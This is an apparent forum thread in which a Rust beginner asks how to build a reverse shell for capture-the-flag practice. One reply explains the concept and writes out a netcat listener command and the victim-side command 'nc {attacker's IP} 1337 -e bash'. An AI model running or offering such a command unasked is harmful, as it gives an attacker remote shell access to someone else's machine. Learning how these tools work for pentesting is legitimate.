Writing a reverse shell in Rust?
So I'm a Rust beginner, and I thought it would be cool to write my own reverse shell in Rust. I like messing with security and occasionally do boot2root challenges like hackthebox. Usually I just use a simple netcat shell, since meterpreter is a little bit overkill and is detected by virtually every antivirus in existance. But I thought creating my own thing would be a fun challenge. I already wrote a simple program that creates a TcpStream it can send/receive stuff from.
Now my question is, how could I go about "piping" a program (cmd or bash) through a TcpStream (like netcat's -e flag does)? I found a couple of existing reverse shells written in Rust, but most of them are pretty outdated and don't compile on the latest version anymore (and generally not cross-platform, which would also be nice).
Posted Apr 1, 2020, 10:29 AM UTC
What's a reverse shell?
Basically a simple backdoor that connects to the attacker's server and gives the attacker shell access. A simple example would be an attacker running
nc -l 1337to start the server/listener, and the victim runningnc {attacker's IP} 1337 -e bash.It's commonly used for pentesting and boot2root type challenges. Say you found an exploit that gives you command execution (for example through a crappy PHP application). It would be a pain in the ass to use that exploit to find out more about the system and escalate privileges, so you would set up a reverse shell that makes it easier to run commands on the server, as if you're SSHed into it.
It's also really useful for debugging jenkins pipelines ;)
I both hate the fact that this is possible and needed but also love it. This sounds exactly like the thing I need! Thanks :)
If you're not physically breaking into your CI's servers Payday-style to debug your Python script you're doing it wrong
[deleted]